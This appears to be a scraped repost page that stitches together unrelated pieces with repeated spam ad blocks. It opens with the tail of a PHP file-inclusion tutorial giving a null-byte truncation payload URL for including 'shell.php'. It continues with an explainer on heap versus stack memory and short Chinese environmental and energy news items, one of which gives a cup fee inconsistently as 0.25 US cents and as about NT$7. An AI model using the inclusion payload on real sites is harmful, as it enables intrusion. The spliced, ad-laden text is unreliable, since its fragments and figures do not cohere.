include()無法查找到“shell.php.php”,故此導致報錯

採用字節截斷

http://127.0.0.1/index.php/?url=shell.php%00

PHP5.2+的版本漸漸的都修復了字節截斷,所以很少有利用了

筆者不做過多的細節說明^_^

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

堆和棧的區別

堆與棧

關於堆和棧的問題,對於熟悉C++的同學來說可能理解的比較清楚,但是由於Java的一切對象都是在堆上,因此有時候可能反而會比較迷惑,比如:

為什麼要分堆和棧?

堆和棧的區別是什麼?

為什麼堆是線程共享的而棧不是?

很多懂一點Java的人甚至是懂一點編程的人都知道內存一般分為堆和棧,棧由系統進行關係,而堆由程序員自己管理,…balabala,基本任何一本語言基礎書都會提到這些特點,但是你有想過為什麼嗎?

為什麼要分堆和棧

之所以要區分堆和棧,是由於程序需要兩種不同特性的內存形似而確定的。在C++中,新建一個對象有兩種方式,靜態分配動態分配

靜態分配

一般來說,靜態分配用於初始化已知對象大小的時候,比如int a[10];如果我們能夠確定這個數組是10個,我們可以使用這種方式。這種方式所需要的內存在編譯期間即可確定,因此操作系統便可以預先確定所指定大小內存給變量,並且可以在變量生命周期結束后自動釋放。

動態分配

然而在某些場景下,可能需要根據某些情況來申請內存,比如int* a =new int[count];而變量count可能就來自於某個配置文件或者用戶手動輸入的值。這個時候操作系統就無法再預先確定內存大小,並且不執行到new int[count]這一行代碼的時候,是無法知道所要分配的內存大小,因此操作系統分出一塊內存,用來進行動態分配。並且規定,動態分配的內存需要由客戶端自行管理。

Java 中的堆

由於JVM規範中規定,JVM中的一切對象都存儲在堆上(內存逃逸除外)。因此在Java中並不存在對象的靜態分配,因此堆和棧的來源看似就非常理所當然。但是要明白,在操作系統中,堆和棧的出現的緣由。

堆和棧的區別

知道了為什麼要區分堆和棧,再來看看堆和棧的區別。

  • 堆是運行時確定內存大小,而棧在編譯時即可確定內存大小

    理由便是第一節中提到的,這是區分堆和棧的初衷

  • 堆內存由用戶管理(Java中由JVM管理),棧內存會被自動釋放

  • 棧實現方式採用數據結構中的棧實現,具有(LIFO)的順序特點,堆為一塊一塊的內存

  • 棧由於其實現方式,在分配速度上比堆快的多。分配一塊棧內存不過是簡單的移動一個指針

  • 在JVM中,棧不會被程序員直接使用,程序員操作的一般都是堆。

  • 棧為線程私有而堆為線程共享

雖然堆和棧有這麼多的區別,但是這些區別都是由於操作系統而決定的,在硬件上,他們本質都是RAM

為什麼堆是線程共享的而棧不是?

上面最後一點提到了棧為線程私有而堆為線程共享。這是為什麼呢???

其實很簡單,為了解決一個問題:線程間通信。

想要實現線程間通信,目前有兩種方法:

  • 消息傳遞
  • 共享內存

共享內存便是我們所說的將堆設置為線程間共享的,這樣我們能夠通過堆中的對象實現數據共享,這樣便使得其他線程能夠知道某個線程修改了某個數據。但是這樣帶來的問題可能就有線程安全問題等,但是這樣做的優勢便在於速度更快節約內存,Java,C#等使用這種方式

消息傳遞是每個線程都私有自己的數據空間,當需要線程通信的時候,便需要一個線程显示的給另外一個線程發送具體的消息,這樣做的能夠讓多線程更加安全,但是私有的線程空間和消息傳遞帶來的是需要給內個線程都拷貝相同的對象,變量等,並且可能會帶來效率問題。而Erlang和JoCaml便是使用消息傳遞式線程通信。

尊重勞動成功,轉載註明原創

參考文章:

如果覺得寫得不錯,歡迎關注微信公眾號:逸游Java ,每天不定時發布一些有關Java進階的文章,感謝關注

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

※想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師”嚨底家”!!

回顧2019年極端天氣事件 全球損失超過1000億美元

環境資訊中心綜合外電;姜唯 編譯;林大利 審校

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

北海道天候異常沒暴風雪 罕見吹起沙塵暴

摘錄自2020年1月6日中央社東京報導

日本北海道東部的十勝地方部分地區6日突然吹起沙塵暴,造成兩條高速公路部分路段因視線不佳暫停通行。由於冬天並非當地沙塵暴季節,研判可能是因為這個冬天降雪不足所造成。

北海道往年這個時期都是大雪紛飛,十勝地方應該全部會被白雪覆蓋,但受到這個冬天降雪異常減少,讓許多未被白雪覆蓋的田地露出來,變成乾燥的沙子容易被風捲起的狀態。

上述暫停通行路段在下午2時過後就恢復車輛通行,但警方及東日本高速道路公司等還是呼籲,駕駛人行經這些路段仍要留意強風,小心駕駛。

日本放送協會(NHK)報導,十勝地方這個冬天降雪較往年來得少,強風捲起農地沙子造成視線不佳的「塵煙霧」現象,是首度在冬天出現,十勝地方帶廣市去年12月降雪量僅17公分,不到往年降雪量四成;今天積雪6公分,較往年的26公分同樣大幅減少。

 

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

※想要讓你的商品成為最夯、最多人討論的話題?網頁設計公司讓你強力曝光

※想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師”嚨底家”!!

柏克萊新制 業者供免洗杯需加收新台幣七元

摘錄自2020年1月6日公視報導

在美國加州的柏克萊1月起有新規定,餐飲業者如果提供「一次性」的免洗杯,每個要加收0.25美分、約新台幣七元的費用,來限制餐廳使用免洗杯。

非營利組織「請內用」發言人尼克說:「你知道許多飲料最貴的部分其實是杯子本身,而不是裡面的飲料?」

打算淘汰免洗杯的,還有知名連鎖店藍瓶咖啡,藍瓶咖啡過去每年要用掉1200萬個紙杯。藍瓶咖啡顧客崔西認為:「垃圾、浪費是重大議題,所以我很高興看到我最喜歡的咖啡店帶頭這麼做。」

奧克蘭北部的柏克萊更積極,當地新法規規定,1月開始,餐飲業者若提供「一次性」的免洗杯,每個要加收0.25美分、約新台幣7元的費用。

但行動不便者認為,沒有免洗杯很不方便,因為玻璃罐和陶瓷杯對他們來說太重了。看見身心障礙計畫創辦人艾莉絲表示:「你不可以有永續性卻沒有彈性,那樣就不叫永續性了。」身障朋友希望政策和店家保有彈性,讓需要的人,還是能使用紙杯,在環保和弱勢權益間取得平衡。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

※評比南投搬家公司費用收費行情懶人包大公開

越南向寮國購電 盼解缺電隱憂

摘錄自2020年1月6日中央社河內報導

越南電力集團(EVN)4日與寮國供電業者簽署5項購電合同,預計2021年起將從寮國進口數十億度電,希望解決國內缺電隱憂。

越南近年來經濟發展迅速,現今隨著美中貿易戰而掀起外商轉向越南投資的浪潮,加上經濟發展依賴能源密集的製造業,使境內電力需求量日益增加。

越南正面臨兩項潛在的能源危機。一是發電能量不足,二是中國對越南鑽探離岸石油及天然氣的動作強力施壓。

越南工商部表示,2021年起越南恐將嚴重缺電,因為建設新電廠的速率趕不上電力需求增長。缺電可能使外資卻步,對從美中貿易戰受惠最多的越南形成不小隱憂,電力需求將於2021年超出供給,因為許多越南能源計畫延宕而使2021至2025年間缺電情況最嚴重,每年缺口可達70億至80億度或千瓦小時(kWh)。

「民智報」網站6日報導,越南電力集團與寮國Phongsubthavy和Chealun Sekong兩家供電集團簽署電力銷售合同,向由這2家集團運作的5個水力發電廠購買電力,其中寮國2號南空水力發電廠(Nam Kong 2)自2021年開始每年向越南出口2.631億度,其餘4個發電廠2022年起每年向越南輸送2.04億至4.2774億度。

越南2019年電力需求量為2400億度,與2018年同期相較,增加8.9%;預計今年電力需求量增至2620億度。

 

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家費用,距離,噸數怎麼算?達人教你簡易估價知識!